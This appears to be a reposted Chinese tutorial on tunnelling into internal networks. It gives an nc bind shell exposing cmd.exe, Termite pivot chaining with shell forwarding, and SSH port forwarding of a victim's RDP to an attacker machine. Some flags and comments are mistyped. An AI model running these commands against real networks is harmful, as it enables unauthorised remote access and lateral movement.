内网代理穿透
2021/11/14 23:10:20
本文主要是介绍内网代理穿透,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
一、NC
目标机 nc.exe -l -p 1122 -t -e cnd.exe 攻击机 nc.exe 192.168.8.149 1122
二、termite
程序地址, http://rootkiter.com/Termite/
一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便
程序分为两部分,admin[为控制端]和agent[为代理端节点],admin和agent所有选项用途均一致
-| 指定本地socks端口,等待远程连
-C 指定远程socks机器ip
-p 指定远程socks机器端口
正向连接 vnet2: agent_Win32.exe -1 8888 vnet1: agent_Win32.exe -1 7777 桥接: agent_Win32.exe -1 6666 攻击机: admin_Win32.exe -c 192.168.0.240 -p 6666 goto 1 connect 192.168.10.137 7777 goto 2 connect 192.168.20.128 8888 goto 3 shell 1188 #将vnet2的cmd转发到本地的1188端口 nc 127.0.0.1 1188
反向连接 桥接: agent_Win32.exe -1 6666 vnet1: agent_Win32.exe -1 7777 vnet2: agent_Win32.exe 192.168.20.132 -p 7777 vnet1(新开一个cmd): agent_Win32.exe -c 192.168.10.138 -p 6666 攻击机: admin_Win32.exe -c 192.168.0.240 -p 6666
三、SSH
1、本地端口转发(跳板机有外网和内网地址)
跳板机配置
vim /etc/ssh/sshd_config //SSH配置文件
AllowAgentForwarding yes //是否允许转发TCP协议 GatewayPorts yes //是否允许远程主机连接本地转发端口 PermitRootLogin yes //是否允许root用户登陆 PasswordAuthentication yes //是否允许使用基于密码的认证 TCPKeepAlive yes //保持心跳,防止ssh断开
service ssh restart //开启ssh服务
攻击机
ssh命令参数: * -C 压缩传输,加快传输速度 * -f 将SSH转入后台执行,不占用当前的shell * -N 建立静默连接(建立了连接,但是看不到具体会话) * -g 允许远程主机连接到本地用于转发的端口 * -L 本地端口转发 * -R 远程端口转发 * -D 动态转发(socks代理) * -P 指定SSH端口 ssh -CfNg -L 2121:1.1.1.10:3389 root@192.168.1.11 //将受害机的3389端口转发到本地2121端口,1.1.1.10是受害机,192.168.1.11跳板机 rdesktop 127.0.0.1:2121 //访问本地2121端口,就是访问受害机的3389端口
2、远程端口转发(跳板机没有外网地址,但是可以访问外网)
跳板机
ssh -R 3307:1.1.1.2:3389 root@192.168.1.9 //1.1.1.2是受害机,192.168.1.9是攻击机
攻击机
rdesktop 127.0.0.1:3307
3、动态端口转发(跳板机有外网地址,有内网)
ssh -D 7000 root@192.168.1.12 //攻击机与跳板机建立隧道,192.168.1.12是跳板机,root是跳板机的用户名
可以使用127.0.0.1 7000做代理访问内网服务
这篇关于内网代理穿透的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-06-19《2023版Java工程师》课程升级公告
- 2024-06-15matplotlib作图不显示3D图,怎么办?
- 2024-06-1503-Loki 日志监控
- 2024-06-1504-让LLM理解知识 -Prompt
- 2024-06-05做软件测试需要懂代码吗?
- 2024-06-0514-ShardingSphere的分布式主键实现
- 2024-06-03为什么以及如何要进行架构设计权衡?
- 2024-05-31全网首发第二弹!软考2024年5月《软件设计师》真题+解析+答案!(11-20题)
- 2024-05-31全网首发!软考2024年5月《软件设计师》真题+解析+答案!(21-30题)
- 2024-05-30【Java】百万数据excel导出功能如何实现